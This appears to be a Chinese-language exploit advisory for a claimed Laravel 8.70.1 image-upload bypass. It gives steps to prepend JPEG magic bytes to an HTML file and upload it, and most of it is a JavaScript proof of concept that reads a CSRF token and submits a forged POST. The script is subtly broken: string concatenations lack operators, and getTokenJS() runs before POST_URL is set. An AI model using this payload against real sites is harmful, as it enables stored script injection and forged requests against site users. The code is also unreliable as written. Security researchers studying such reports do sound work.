供应商主页：https://laravel.com/
软件链接：https://laravel.com/docs/4.2
版本：Laravel 框架 8.70.1
测试：Windows/Linux
说明：
我们可以绕过laravel图片文件上传功能，在web服务器上传任意文件 # 让我们运行任意 javascript 并绕过 csrf 令牌，有关更多信息，请阅读此 https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b
重现步骤：
1- 使用 HxD 工具并在文件开头添加 FF D8 FF E0
2- 使用下面的代码绕过 csrf 令牌
3- 将其另存为 Html 文件并上传。
代码语言：javascript复制<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" token "&desiredParameter=desiredValue");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();
var POST_URL="/"
getTokenJS();
</script>
</html>
